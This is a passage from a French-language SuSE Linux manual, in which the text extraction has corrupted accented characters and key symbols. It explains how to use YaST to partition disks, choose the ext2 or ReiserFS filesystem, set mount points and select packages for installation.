  6083.                            |  existant. Vous ne devriez toutefois recourir α cette possibilitΘ que si vous                         *
  6084.  *        |||
  6085.                            |                                                                                                       *
  6086.  *        |||
  6087.                            |  voulez seulement avoir un aperτu du systΦme pour vous en faire une idΘe.                             *
  6088.  *        |||
  6089.                            |  La  performance  est  de  loin  infΘrieure  α  celle  d'une  installation  sur  des                  *
  6090.  *        |||
  6091.                            |                                                                                                       *
  6092.  *        |||
  6093.                            |  partitions sΘparΘes spΘcifiques α Linux. Et le systΦme est aussi moins s√r                           *
  6094.  *        |||
  6095.                            |  car il n'existe pas, par exemple, de programmes de vΘrification du systΦme                           *
  6096.  *        |||
  6097.                            |                                                                                                       *
  6098.  *        |||
  6099.                            |  de fichiers pour MS-DOS et Linux peut aussi Ωtre influencΘ par DOS.                                  *
  6100.  *        |||
  6101.                            |_______________________________________________________________________________________________________*
  6102.  *________|||_
  6103.  
  6104.                            Si vous prΘvoyez d'offrir ses propres partitions α Linux, vous avez la possibi-
  6105.                            litΘ de rΘpartir votre systΦme sur plusieurs partitions. La rΘpartition d'un sys-
  6106.                            tΦme Unix est une question de go√t personnel et de philosophie et il n'existe
  6107.                            donc  pas  de  ``voie  royale''  (voir  paragraphe  2.8  page  67  et  paragraphe  2.9
  6108.                            page  68).Vous  trouverez  un  exemple  dΘtaillΘ  de  partitionnement  au  para-
  6109.                            graphe 2.10.1 page 75.
  6110.  
  6111.                            Vous devriez en tout cas prΘvoir une partition de swap sΘparΘe qui agrandira
  6112.                            la  mΘmoire  virtuelle  (+  mΘmoire)  de  votre  machine  (voir  paragraphe  2.9.1
  6113.                            page 70). Bien que l'utilisation d'un fichier d'Θchange (swap) soit possible,
  6114.                            cela n'est pas recommandable pour des raisons de performance car tous les
  6115.                            accΦs α ce fichier doivent se faire en passant par le systΦme de fichiers. Tout
  6116.                            particuliΦrement si votre machine ne dispose que de peu de mΘmoire, le fichier
  6117.                            d'Θchange ne constitue pas une alternative α une partition de swap sΘparΘe.
  6118.  
  6119.                            Si vous avez plus d'un disque dur dans votre machine, il vous sera demandΘ
  6120.                            de choisir le disque que vous souhaitez partitionner α la prochaine phase de
  6121.                            travail.  Vous  arriverez  alors  α  un  menu  qui  vous  montre  le  partitionnement
  6122.                            actuel de votre disque dur (voir figure 3.9 page suivante).
  6123.  
  6124.  
  6125. 88
  6126.        ________________________________________________________________________3.3.__Configurations_pour_l'installation____________*
  6127.  *______________________
  6128.  
  6129.  
  6130.  
  6131.                                       Fig. 3.9: Partitionnement
  6132.  
  6133.  
  6134.  
  6135. Avec les touches du curseur |"__|et |#__|, vous pouvez vous dΘplacer dans_la liste
  6136. des partitions disponibles et modifier le type d'une partition avec |F___|3. Avec
  6137.  F4  , |||||||||__vous effacez une partition existante et avec |F___|_5vous pouvez crΘer une
  6138.  
  6139. nouvelle partition.
  6140.  
  6141. Il  est  absolument  indispensable  de  modifier  le  type  de  partition  (avec | ____|F3)
  6142. lorsqu'une partition de swap doit Ωtre crΘΘe.  Il est possible qu'il ne soit pas
  6143. indispensable de repartitionner si vous avez dΘcidΘ, par exemple, de consa-
  6144. crer  α  Linux  une  partition  actuellement  utilisΘe  par  un  autre  systΦme  d'ex-
  6145. ploitation. Dans un tel cas, placez_tout simplement le curseur sur la partition
  6146. correspondante et appuyez sur |F___|3.
  6147.  
  6148. Notez que Linux ne pose aucune condition au sujet du type des partitions sur
  6149. lesquelles il doit Ωtre installΘ :
  6150.  
  6151. Il est possible d'installer Linux aussi bien sur une partition primaire que sur
  6152. une partition logique contenue dans une partition Θtendue.
  6153.  
  6154. Le concept des partitions logiques a ΘtΘ adoptΘ du fait qu'il n'y de place que
  6155. pour quatre entrΘes dans la table des partitions. Si l'on a besoin de plus de
  6156. quatre  partitions,  on  doit  alors  transformer  l'une  des  partitions  en  partition
  6157. Θtendue dans laquelle seront crΘΘes des partitions logiques1 .
  6158.  
  6159.  
  6160. 3.3.10       SpΘcifier les partitions cibles ou les systΦmes de fichiers
  6161.  
  6162. AprΦs avoir divisΘ le disque dur en partitions, vous devrez attribuer α ces par-
  6163. titions des sous-rΘpertoires dans l'arborescence des rΘpertoires Linux. Choi-
  6164. sissez  pour  cela  l'option  `SpΘcifier  les  partitions-cibles  /  les
  6165. systΦmes  de  fichiers'.
  6166.  
  6167. Dans  l'exemple  donnΘ  par  la  figure  3.10  page  suivante,  vous  voyez  le  par-
  6168. titionnement d'un systΦme avec un disque dur. Vous pouvez maintenant dΘ-
  6169. terminer  si  chaque  partition  doit  Ωtre  formatΘe  et,  le  cas  ΘchΘant,  de  quelle
  6170. 1      ____________________________________________________
  6171.    Les partitions Θtendues ainsi que les partitions logiques sont dΘsignΘes par le fdisk de DOS
  6172. sous le nom de partitions DOS Θtendues ou unitΘs logiques bien que la validitΘ de ce concept
  6173. s'Θtende au delα des limites des systΦmes d'exploitation.
  6174.  
  6175.  
  6176.                                                                                                                                    *
  6177.  *     89
  6178. 3.  YaST  ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
  6179.  *_______________________________________@
  6180.  
  6181.  
  6182.  
  6183.                                                Fig. 3.10: DΘtermination des systΦmes de fichiers
  6184.  
  6185.  
  6186.  
  6187.                            maniΦre.  Vous  pouvez  aussi  dΘterminer  α  quel  point  de  votre  arborescence
  6188.                            des rΘpertoires elle devra plus tard Ωtre montΘe.
  6189.  
  6190.                            Vous  devez  prΘvoir  exactement  une  partition  comme  partition  ``root'' !  Elle
  6191.                            porte ce nom car elle reprΘsente la racine (angl. root) de tous les rΘpertoires.
  6192.                            C'est pourquoi il lui est assignΘ le +  point de montage `/ '.
  6193.  
  6194.                            Les diffΘrentes fonctions pour la manipulation des systΦmes de fichiers sont
  6195.                            obtenues par les touches de fonction correspondantes.
  6196.  
  6197.                            Vous  pouvez,  en  rΦgle  gΘnΘrale,  ne  traiter  que  des  partitions  Linux.  Si  le
  6198.                            curseur se trouve sur une partition d'un autre systΦme d'exploitation, toutes
  6199.                            les fonctions sont dΘsactivΘes exceptΘe la dΘtermination du point de montage.
  6200.  
  6201.  
  6202.  
  6203.                            DΘterminer le type
  6204.  
  6205.                            Avec |F___|_3, vous pouvez faire votre choix entre les deux systΦmes de fichiers
  6206.                            ext2     et reiserfs       .
  6207.  
  6208.  
  6209.                            `ext2'       ~ Le systΦme de fichiers ext2     (angl. second extended-filesystem) est
  6210.                                  Θtabli depuis de longues annΘes comme systΦme de fichiers standard.
  6211.  
  6212.                            `reiserfs'           ~  ReiserFS  est  un  systΦme  de  fichiers  de  la  prochaine  gΘnΘ-
  6213.                                  ration. Bien qu'il soit encore trΦs rΘcent, ce systΦme de fichiers est dΘjα
  6214.                                  utilisΘ dans de nombreux domaines (entre autre sur quelques uns de nos
  6215.                                  systΦmes de serveurs internes). Vous devez absolument tenir compte des
  6216.                                  informations contenues dans /usr/doc/packages/reiserfs/README.
  6217.  
  6218.                                  En Θtroite collaboration avec SuSE    , le groupe de dΘveloppement qui s'est
  6219.                                  formΘ autour de Hans Reiser et de Chris Mason a apportΘ des ex-
  6220.                                  tensions au performant systΦme de fichiers ReiserFS pour en faire un sys-
  6221.                                  tΦme  de  fichiers  journalisΘ  (angl.  journaling  filesystem).  La  fonction  de
  6222.                                  journalisation garantit qu'une vΘrification des systΦmes de fichiers (angl.
  6223.                                  filesystem check) pourra Ωtre effectuΘe en quelques secondes mΩme sur de
  6224.                                  grands serveurs.
  6225.  
  6226.  
  6227. 90
  6228.        ________________________________________________________________________3.3.__Configurations_pour_l'installation____________*
  6229.  *______________________
  6230.  
  6231.        _______________________________________________________________________________________________________________________
  6232.        ||||||||  N'utilisez pas ReiserFS conjointement α RAID 1 et RAID 5 logiciels. Avec                       |||            |
  6233.        ||||||||| le RAID matΘriel, il n'y a aucune restriction. Une partition ReiserFS doit                     ||             ||
  6234.        ||||||||  avoir actuellement  une taille d'au moins 34 Mo.                                               |||            |
  6235.        ||||||||_______________________________________________________________________________________________________________||_
  6236.  
  6237.       Pour Θviter tout problΦme, crΘez une partition /boot sΘparΘe avec le sys-
  6238.       tΦme de fichiers ext2     et installez-y LILO . Ceci reprΘsente la configura-
  6239.       tion par dΘfaut de SuSE     Linux.
  6240.  
  6241.       Les utilitaires pour ReiserFS sont contenus dans le paquetage reiserfs,
  6242.       sΘrie a. Vous trouverez des informations rΘcentes sous :
  6243.  
  6244.                        http://devlinux.com/projects/reiserfs/
  6245.  
  6246.  
  6247. Point de montage
  6248.  
  6249. Avec  F||||__4, vous pouvez dΘterminer α quel emplacement de l'arborescence des
  6250. rΘpertoires la partition concernΘe devra Ωtre montΘe.
  6251.  
  6252. Vous devez assigner le fichier racine (/) pour une partition. Vous pouvez faire
  6253. monter vos partitions DOS/Windows sous des noms de rΘpertoires appropriΘs
  6254. o∙ vous pourrez plus tard les retrouver facilement, par exemple /dosc pour
  6255. la premiΦre partition DOS et /dosd pour la deuxiΦme, etc.
  6256.        _______________________________________________________________________________________________________________________||
  6257.        ||||||||  Tenez compte du fait que tous les points de montage doivent Ωtre spΘci-                        |||            |
  6258.        ||||||||                                                                                                 ||             |
  6259.        ||||||||  fiΘs avec des noms de chemins absolus et que les noms de rΘpertoires ne                        ||             |
  6260.        ||||||||  doivent pas contenir de caractΦres spΘciaux ! Vous ne devez en aucun cas                       ||             |
  6261.        ||||||||                                                                                                 ||             |
  6262.        ||||||||  placer les rΘpertoires /etc, /bin, /sbin, /lib et /dev sur des partitions                      ||             |
  6263.        ||||||||  sΘparΘes car ils contiennent entre autre des commandes nΘcessaires, lors                       ||             |
  6264.        ||||||||                                                                                                 ||             |
  6265.        ||||||||  de l'amorτage, au montage des autres systΦmes de fichiers !                                    ||             |
  6266.        ||||||||_______________________________________________________________________________________________________________||_
  6267.  
  6268. Il  existe  une  particularitΘ  pour  les  partitions  DOS/Windows !  Elles  peuvent
  6269. Ωtre  intΘgrΘes  de  trois  maniΦres  diffΘrentes  dans  l'arborescence  des  rΘper-
  6270. toires.
  6271.  
  6272.   ~   PremiΦrement comme partitions DOS    ``normales'' (= msdos     ) avec toutes
  6273.       les restrictions du systΦme de fichiers DOS,
  6274.  
  6275.   ~   DeuxiΦmement comme FAT-Win95         (= vfat    ), ce qui permet d'utiliser des
  6276.       noms de fichiers longs.
  6277.  
  6278.   ~   TroisiΦmement comme partitions dites UMSDOS      , ce qui permet aussi l'uti-
  6279.       lisation de noms de fichiers longs sur des partitions DOS    ``normales''. Ce
  6280.       type est requis uniquement si vous voulez placer des fichiers Linux sur la
  6281.       partition DOS mais il ne s'avΦre pas bien efficace si vous n'utilisez la par-
  6282.       tition DOS que pour l'Θchange de donnΘes. Dans la mesure du possible,
  6283.       Θvitez UMSDOS      !
  6284.  
  6285.  
  6286. Menu expert pour affiner la configuration des systΦmes de fichiers
  6287.  
  6288. Le menu expert (figure 3.11 page suivante) vous donne la possibilitΘ d'opti-
  6289. miser votre configuration.
  6290.  
  6291. La densitΘ des +  i-noeuds indique la taille moyenne prΘvue pour une partition.
  6292. Le nombre d'i-noeuds dΘtermine combien de fichiers peuvent Ωtre crΘΘs sur
  6293.  
  6294.  
  6295.                                                                                                                                    *
  6296.  *     91
  6297. 3.  YaST  ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
  6298.  *_______________________________________@
  6299.  
  6300.  
  6301.  
  6302.                                 Fig. 3.11: Menu expert pour la configuration des systΦmes de fichiers
  6303.  
  6304.  
  6305.  
  6306.                            une partition. Si ce nombre est trop petit, il peut arriver qu'une partition soit
  6307.                            considΘrΘe comme saturΘe bien qu'elle ait encore des blocs disponibles.
  6308.  
  6309.                            Si l'on choisit par exemple une densitΘ de 4096 octets par i-noeud, cela si-
  6310.                            gnifie que tous les fichiers devraient avoir une taille moyenne de 4 Ko. Si une
  6311.                            telle partition ne contient que des fichiers d'une taille d'un kilo-octet seule-
  6312.                            ment, on ne pourra utiliser que le quart du disque car le systΦme de fichiers
  6313.                            est considΘrΘ comme entiΦrement plein.
  6314.  
  6315.                            La taille des i-noeuds de 4 Ko par fichier s'est avΘrΘe comme Θtant une bonne
  6316.                            valeur standard (un nombre plus important d'i-noeuds par partition signifie
  6317.                            naturellement  moins  de  place  effective  pour  les  donnΘes  car  la  table  des  i-
  6318.                            noeuds doit aussi Ωtre stockΘe en mΘmoire). Si une partition doit Ωtre utilisΘe
  6319.                            comme zone de spool, par exemple pour les news, une valeur de 2084 octets
  6320.                            par i-noeud devrait Ωtre choisie car les diffΘrents articles constituent typique-
  6321.                            ment de trΦs petits fichiers. Une autre raison qui justifie un nombre important
  6322.                            d'i-noeuds est l'intΘgration du systΦme live  car environ 40.000 fichiers sont
  6323.                            inclus  dans  le  systΦme  de  fichiers  par  des  liens  symboliques  qui  requiΦrent
  6324.                            respectivement un i-noeud.
  6325.  
  6326.                            La taille des blocs influe sur la durΘe de la vΘrification du systΦme de fichiers
  6327.                            (angl.  filesystem  check).  La  durΘe  est  inversement  proportionnelle  au  carrΘ
  6328.                            de la taille des blocs. Une vΘrification qui se traεne en longueur est pour le
  6329.                            moins fastidieuse. Suggestion pour la taille des blocs : 1024     (= 1 Ko)      pour
  6330.                            les partitions d'une taille de 1 Go et 4096     (= 4 Ko)     pour 4 Go.
  6331.  
  6332.                            Il est en outre dΘterminΘ ici sous quelles conditions une vΘrification du sys-
  6333.                            tΦme de fichiers devra avoir lieu et il peut Ωtre tenu compte de la frΘquence
  6334.                            des montages.
  6335.  
  6336.                            SpΘcification  de  la  zone  rΘservΘe  α  l'utilisateur  `root'.  Il  devrait  toujours
  6337.                            Ωtre  rΘservΘ  une  zone  pour  `root'  lorsque  les  partitions  sont  utilisΘes  en
  6338.                            commun par des programmes systΦme et des utilisateurs rΘguliers. Une parti-
  6339.                            tion /home sΘparΘe ne doit pas obligatoirement offrir de la place α l'utilisateur
  6340.                            `root'.
  6341.  
  6342.  
  6343. 92
  6344.        ________________________________________________________________________3.3.__Configurations_pour_l'installation____________*
  6345.  *______________________
  6346.  
  6347.  
  6348.  
  6349. Le comportement en cas d'erreur peut Ωtre spΘcifiΘ. Si une erreur se produit
  6350. dans un systΦme de fichiers, le fonctionnement peut continuer normalement
  6351. (continue        ), la partition peut Ωtre remontΘe en lecture seule (remount-ro         )
  6352. ou le systΦme complΦt peut immΘdiatement Ωtre arrΩtΘ (panic     ). L'option adΘ-
  6353. quate doit Ωtre choisie en tenant compte de l'utilisation α laquelle est destinΘ
  6354. le  systΦme.  Ne  modifiez  la  valeur  par  dΘfaut  continue        que  si  vous  savez
  6355. exactement ce que vous faites !
  6356.  
  6357.  
  6358. Formatage des partitions
  6359.  
  6360. Avec  F||||__6, vous pouvez dΘterminer si les partitions doivent Ωtre formatΘes et
  6361. le cas ΘchΘant de quelle maniΦre. Avec les disques modernes (SCSI) ``flam-
  6362. bant neufs'', il n'est pas nΘcessaire, pendant le formatage, de faire effectuer
  6363. un contr⌠le pour rechercher des secteurs dΘfectueux mais vous pouvez le spΘ-
  6364. cifier pour plus de sΘcuritΘ. Dans ce cas le formatage prend nettement plus de
  6365. temps.
  6366.  
  6367.  
  6368. Lecture du fichier fstab
  6369.  
  6370. En appuyant sur |F___|_7, vous pouvez lire un fichier fstab dΘjα existant. Vous
  6371. verrez aussi l'affichage des entrΘes de fstab qui ne font pas partie du systΦme
  6372. de fichiers du disque dur (swap, proc, nfs-mount, entrΘes de CD-ROM etc).
  6373. Celles-ci sont faites en grisΘ et ne peuvent pas Ωtre modifiΘes. Mais elles sont
  6374. conservΘes lorsque fstab est stockΘ en mΘmoire.
  6375.  
  6376. Cette fonctionnalitΘ est nΘcessaire lorsque vous voulez effectuer une mise α
  6377. jour de votre systΦme (voir paragraphe 15.1.3 page 404) car dans ce cas YaST
  6378. doit savoir sur quelles partitions le systΦme est rΘparti. Il est aussi tout α fait
  6379. possible d'avoir parallΦlement plusieurs partitions Linux sur une machine.
  6380.  
  6381.  
  6382. 3.3.11       Configurer le Logical Volume Manager
  6383.  
  6384. Vous  trouverez  des  informations  sur  le  configuration  du  ``Logical  Volume
  6385. Manager'' (LVM) dans le Howto LVM officiel sous
  6386.  
  6387.                               http://linux.msede.com/lvm/
  6388.  
  6389. 3.3.12       Installation dans un rΘpertoire
  6390.  
  6391. Vous pouvez, avec YaST , effectuer une installation complΦte dans un rΘper-
  6392. toire pendant le fonctionnement du systΦme. Il est par exemple possible de
  6393. mettre α jour une autre machine via NFS, de mettre en place un ``environne-
  6394. ment chroot'' ou d'effectuer une installation Linux sur un deuxiΦme disque α
  6395. partir d'un systΦme en fonctionnement.
  6396.  
  6397. Ce mode d'installation n'est prΘvu que pour les cas particuliers. Si certains
  6398. pΘriphΘriques doivent Ωtre montΘs sous le rΘpertoire spΘcifiΘ, vous devez ef-
  6399. fectuer cette opΘration vous-mΩme avant d'installer selon cette mΘthode.
  6400.  
  6401. Vous devez tout particuliΦrement veiller vous-mΩme α ce que le systΦme ins-
  6402. tallΘ soit amorτable. Il sera probablement nΘcessaire aussi, dans le systΦme
  6403. nouvellement installΘ, de modifier le fichier fstab crΘΘ par YaST .
  6404.  
  6405. SpΘcifiez maintenant, dans le champ d'entrΘe, le rΘpertoire dans lequel vous
  6406. voulez installer.
  6407.  
  6408.  
  6409.                                                                                                                                    *
  6410.  *     93
  6411. 3.  YaST  ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
  6412.  *_______________________________________@
  6413.  
  6414.  
  6415.  
  6416.                            3.4       DΘterminer la taille de l'installation
  6417.  
  6418.                            AprΦs avoir terminΘ la configuration de votre systΦme de fichiers, sΘlectionnez
  6419.                            dans  le  menu  principal  `DΘterminer/dΘmarrer  l'installation'  afin
  6420.                            de fixer le volume des paquetages α installer et (ou) de dΘmarrer l'installation.
  6421.                            Vous  avez  la  possibilitΘ  d'Θlaborer  vos  propres  profils  d'installation,  de  les
  6422.                            stocker en mΘmoire ou de les charger.
  6423.                                                  Fig. 3.12: DΘterminer la taille de l'installation
  6424.  
  6425.  
  6426.                            Vous  pouvez  en  outre  dΘmarrer  l'installation  α  partir  de  ce  menu  et  voir
  6427.                            d'abord ce qui se passerait si la configuration actuelle Θtait installΘe.
  6428.  
  6429.  
  6430.  
  6431.                            3.4.1      Charger la configuration
  6432.  
  6433.  
  6434.                            Sous  l'option  `Charger  la  configuration',  vous  trouverez  quelques    _
  6435.                            configurations_que nous avons dΘjα prΘdΘfinies. Avec les touches flΘchΘes |"__|_____
  6436.                            et |#_ |, vous pouvez accΘder α une ``configuration'' prΘdΘfinie et avec |E_________|space,
  6437.                            vous pouvez sΘlectionner ou dΘsΘlectionner une option.
  6438.  
  6439.                            Le systΦme minimal, par exemple, permet de lancer Linux α partir du disque
  6440.                            dur et de procΘder ensuite α l'installation d'autres paquetages.
  6441.  
  6442.                            Si vous avez dΘjα ΘlaborΘ votre propre profil d'installation, vous pourrez bien
  6443.                            s√r le relire ici. Ceci est surtout utile si vous voulez installer plusieurs ma-
  6444.                            chines avec une configuration identique.
  6445.  
  6446.                            Si vous avez dΘjα installΘ un systΦme, n'oubliez pas en chargeant une autre
  6447.                            configuration que les paquetages dΘjα installΘs ne faisant pas partie de la nou-
  6448.                            velle  configuration  doivent  Ωtre  marquΘs  pour  Ωtre  effacΘs.  Si  vous  voulez
  6449.                            cependant conserver tous ces paquetages, rΘpondez simplement Non    lorsqu'il
  6450.                            vous sera demandΘ, aprΦs que vous ayez invoquΘ l'option du menu `DΘmar-
  6451.                            rer  l'installation', si vous voulez les effacer. Autrement, vous devrez
  6452.                            dΘsΘlectionner un par un avec `[D]' les paquetages marquΘs pour Ωtre effacΘs
  6453.                            (la dΘsignation `[i]' devra de nouveau apparaεtre).
  6454.  
  6455.  
  6456.  
  6457. 94
  6458.        _____________________________________________________________________3.4.__DΘterminer_la_taille_de_l'installation___________*
  6459.  *______________________
  6460.  
  6461.  
  6462.  
  6463. 3.4.2      Enregistrer la configuration
  6464. Vous pouvez ici enregistrer votre propre configuration. Si YaST  a ΘtΘ lancΘ
  6465.  
  6466. α partir d'une disquette, celle-ci sera utilisΘe pour sauvegarder la configura-
  6467. tion. Si vous avez amorcΘ directement α partir du CD, il vous sera demandΘ
  6468. d'insΘrer une disquette formatΘe sur laquelle les donnΘes pourront Ωtre sauve-
  6469. gardΘes.
  6470.  
  6471.  
  6472. 3.4.3      Modifier la configuration
  6473.  
  6474. Par le choix de cette option, vous passez α l'Θditeur de sΘlection (figure 3.13)
  6475. qui vous permet de dΘterminer librement la taille de l'installation ou de mo-
  6476. difier une configuration prΘparΘe et chargΘe (voir paragraphe 3.4.1 page ci-
  6477. contre). Cette option vous donne aussi la possibilitΘ, aprΦs l'installation, de
  6478. supprimer des paquetages dΘjα installΘs.
  6479.  
  6480.  
  6481.  
  6482.                          Fig. 3.13: SΘlection des sΘries dans YaST
  6483.  
  6484.  
  6485. Avec les touches du curseur |"__|et |#__|ainsi qu'avec |P__________|ageet"|P__________|age, #vous
  6486. pouvez vous dΘplacer dans la liste de sΘlection et choisir une sΘrie.
  6487.  
  6488. La fenΩtre ci-dessous vous renseigne sur l'espace occupΘ sur le disque dur.
  6489.  
  6490. Avec  F||||__4il est possible, comme alternative α la sΘlection des sΘries, de choisir
  6491. un  autre  groupement  des  paquetages  (figure  3.14  page  suivante) ;  il  existe
  6492. actuellement,  α  c⌠tΘ  de  `SΘries',  la  variante  `Tous  les  paquetages'.
  6493. C'est lα que se cachent la vieille sΘrie ALL et la sΘrie paquetages  sources.
  6494. Vous pouvez quitter une sΘlection, par exemple la sΘlection des sΘries, avec
  6495.  F10   |||||||||__pour retourner ainsi au menu gΘnΘral de configuration.
  6496.  
  6497. Si sur l'une des sΘries vous appuyez sur |______|-, vous arrivez α la sΘlection des
  6498. paquetages de la sΘrie correspondante (figure 3.15 page suivante vous montre,
  6499. par exemple, le contenu de la sΘrie a). Si vous avez dΘjα chargΘ auparavant
  6500. une configuration, les paquetages dΘjα sΘlectionnΘs sont marquΘs d'une croix.
  6501. La fenΩtre de droite vous informe sur la place que la configuration actuelle
  6502. occuperait sur chacune de vos partitions en Θtant rΘpartie sur celles-ci.
  6503.  
  6504. Vous voyez ici, dans la fenΩtre du bas, une brΦve description du paquetage
  6505. sur lequel se trouve en ce moment le curseur. Dans la fenΩtre de droite, vous
  6506.  
  6507.  
  6508.                                                                                                                                    *
  6509.  *     95
  6510. 3.  YaST  ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
  6511.  *_______________________________________@
  6512.  
  6513.  
  6514.  
  6515.                                                  Fig. 3.14: Reclasser les paquetages dans YaST
  6516.                                     Fig. 3.15: SΘlection des paquetages, sΘrie a1 (SystΦme de base)
  6517.  
  6518.  
  6519.  
  6520.                            voyez quel est actuellement l'espace nΘcessitΘ sur vos partitions. Ces valeurs
  6521.                            sont rΘguliΦrement actualisΘes dΦs que vous sΘlectionnez ou dΘsΘlectionnez
  6522.                            un paquetage.
  6523.  
  6524.                            Dans certains cas, la place disponible n'est pas suffisante pour l'affichage des
  6525.                            informations concernant_les paquetages_ou les partitions. Vous pourrez alors,
  6526.                            en  appuyant  sur  |___F|2ou  |___F|3,  obtenir  un  gros  plan  de  la  fenΩtre  du  bas  ou
  6527.                            de  la  fenΩtre  de  droite  et  voir  de  plus  prΦs  les  informations  dans  une  boεte
  6528.                            particuliΦre.
  6529.  
  6530.                            Devant le nom des paquetages, il est indiquΘ le statut actuel de chacun :
  6531.  
  6532.  
  6533.                            `[  ]'      dΘsigne un paquetage qui n'est pas encore installΘ
  6534.  
  6535.                            `[X]'       dΘsigne un paquetage α installer
  6536.  
  6537.  
  6538. 96
  6539.        _____________________________________________________________________3.4.__DΘterminer_la_taille_de_l'installation___________*
  6540.  *______________________
  6541.  
  6542.  
  6543.  
  6544. `[i]'       dΘsigne un paquetage dΘjα installΘ
  6545. `[D]'       dΘsigne un paquetage α effacer
  6546.  
  6547. `[R]'       dΘsigne un paquetage qui doit Ωtre actualisΘ
  6548.  
  6549. Avec  _|||__|-, on peut changer le statut des_paquetages en basculant entre `[  ]'
  6550. et `[X]' ou entre `[i]', `[R]' et `[D]'. |F___|6fait dΘmarrer l'installation du
  6551. paquetage source correspondant. Voir, au sujet des_paquetages sources, le pa-
  6552. ragraphe 15.3.3 page 419. Si vous appuyez sur |____F1|0dans cette sΘlection, vous
  6553. reviendrez α la sΘlection des sΘries. Si vous voulez quitter la sΘlection des pa-
  6554. quetages_sans_que_vos modifications soient enregistrΘes, appuyez simplement
  6555. sur  ╔c||||___|_hap.
  6556.  
  6557. Si,  pendant  le  dΘroulement  de  la  configuration,  vous  deviez  constater  que
  6558. l'espace  disque  que  vous  aviez  prΘvu  n'est  pas  suffisant  pour  l'installation
  6559. que vous voulez faire ou qu'il est nΘcessaire de diviser le disque d'une autre
  6560. maniΦre, vous pouvez α tout moment effectuer un repartitionnement de votre
  6561. disque dur. Le partitionnement proprement dit n'aura lieu que lorsque vous
  6562. quitterez YaST .
  6563.  
  6564. Si YaST  tourne α partir d'une disquette, installez d'abord une configuration
  6565. absolument minimale, lancez ensuite Linux puis installez le reste de vos pa-
  6566. quetages.  Vous  pouvez  toutefois,  dans  cette  premiΦre  phase,  sΘlectionner  α
  6567. titre d'essai les paquetages que vous dΘsirez afin de vous informer sur l'es-
  6568. pace requis par la configuration de votre choix.
  6569.  
  6570.  
  6571. 3.4.4      Que se passerait-il si...
  6572.  
  6573. YaST peut aussi Ωtre utilisΘ pour dΘsinstaller des paquetages. C'est pour cette
  6574. raison qu'il existe cette option de menu avec laquelle vous pouvez vous assu-
  6575. rer que vous n'effacez pas de fichiers absolument indispensables au fonction-
  6576. nement de votre systΦme.
  6577.  
  6578.  
  6579. 3.4.5      DΘmarrer l'installation
  6580.  
  6581. Cette option dΘmarre l'installation proprement dite. Tous les paquetages que
  6582. vous avez choisis sont lus depuis le support d'installation, dΘcompressΘs et
  6583. Θcrits sur les partitions de destination.
  6584.  
  6585. Si pendant la prΘsente exΘcution de YaST  vous avez modifiΘ le partitionne-
  6586. ment de votre disque dur, l'installation n'est naturellement plus possible car
  6587. la machine doit Ωtre rΘamorcΘe aprΦs une modification des donnΘes de parti-
  6588. tionement. En outre, les donnΘes modifiΘes n'ont pas encore ΘtΘ Θcrites dans
  6589. la table des partitions. Cette opΘration aura lieu seulement lorsque vous quit-
  6590. terez YaST .
  6591.  
  6592. Pendant l'installation, il sera affichΘ dans la fenΩtre du bas d'Θventuels mes-
  6593. sages d'erreur et des messages concernant le statut des paquetages. Dans la
  6594. premiΦre ligne, YaST  vous fait savoir quel paquetage est en cours d'installa-
  6595. tion.
  6596.  
  6597. Lorsque l'installation sera terminΘe, vous pourrez passer avec | _____|Tabα la fe-
  6598. nΩtre  de  protocole  et  faire  un  dΘfilement  α  l'Θcran  pour  pouvoir  analyser
  6599. d'Θventuels messages d'erreur.
  6600.  
  6601.  
  6602.  
  6603.                                                                                                                                    *
  6604.  *     97
  6605. 3.  YaST  ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
  6606.  *_______________________________________@
  6607.  
  6608.  
  6609.  
  6610.                            3.4.6      VΘrifier les dΘpendances des paquetages
  6611.                            YaST  vΘrifie les dΘpendances des paquetages dΘjα installΘs et des paquetages
  6612.  
  6613.                            sΘlectionnΘs pour l'installation, sauf celles des paquetages devant Ωtre effacΘs
  6614.                            - en d'autres termes les dΘpendances des paquetages qui seraient installΘs si
  6615.                            vous aviez dΘjα sΘlectionnΘ `DΘmarrer  l'installation'.
  6616.  
  6617.                            Il existe les modes de dΘpendance suivants :
  6618.  
  6619.                            ________________________________________________________________________________________________________*
  6620.  *________
  6621.  
  6622.  
  6623.                               AND         Lorsque le paquetage doit Ωtre installΘ, vous devez aussi instal-
  6624.                                           ler tous les autres paquetages (α moins qu'ils ne soient dΘjα ins-
  6625.                                           tallΘs). Exemple : Lorsqu'on installe un compilateur, on a aussi
  6626.                                           besoin des fichiers include et des libs.
  6627.                               OR          Lorsque  le  paquetage  doit  Ωtre  installΘ,  vous  devez  installer  au
  6628.                                           moins l'un des paquetages spΘcifiΘs (α moins qu'il ne soit dΘjα
  6629.                                           installΘ).
  6630.                               EXCL        Lorsque le paquetage doit Ωtre installΘ, vous ne devriez installer
  6631.                                           aucun des paquetages spΘcifiΘs (et ils ne devraient pas non plus
  6632.                                           Ωtre dΘjα installΘs).
  6633.  
  6634.                            ________________________________________________________________________________________________________*
  6635.  *________
  6636.  
  6637.                                                    Tab. 3.1: DΘpendances entre les paquetages
  6638.  
  6639.  
  6640.                            Une liste des dΘpendances dΘtectΘes vous est ensuite prΘsentΘe.
  6641.  
  6642.  
  6643.                            3.4.7      Index de toutes les sΘries et de tous les paquetages
  6644.  
  6645.                            Il  vous  est  simplement  montrΘ  ici  une  liste  de  tous  les  paquetages  qui  se
  6646.                            trouvent  sur  le  CD.  Les  paquetages  marquΘs  de  l'astΘrisque  `*'  sont  soit
  6647.                            dΘjα installΘs, soit sΘlectionnΘs pour l'installation. Cette fonction est trΦs utile
  6648.                            si vous voulez avoir rapidement une vue d'ensemble.
  6649.  
  6650.  
  6651.                            3.4.8      Information sur les paquetages
  6652.  
  6653.                            De temps en temps, on aimerait savoir o∙ se cache, sur le CD SuSE     Linux, le
  6654.                            fichier sensationnel dont on a appris l'existence par une revue d'informatique.
  6655.  
  6656.                            Pour une recherche simple et (relativement) rapide des fichiers et des paque-
  6657.                            tages aussi bien sur le CD SuSE     Linux que dans le systΦme installΘ, il existe
  6658.                            l'information sur les paquetages. Vous pouvez spΘcifier dans son masque les
  6659.                            noms  des  fichiers  α  rechercher  et  YaST  explorera  le  support  indiquΘ  pour
  6660.                            retrouver ces fichiers et listera leur emplacement.
  6661.  
  6662.  
  6663.                            3.4.9      Inclure des paquetages
  6664.  
  6665.                            Prenez cette option si vous voulez ``inclure'' des paquetages de votre choix,
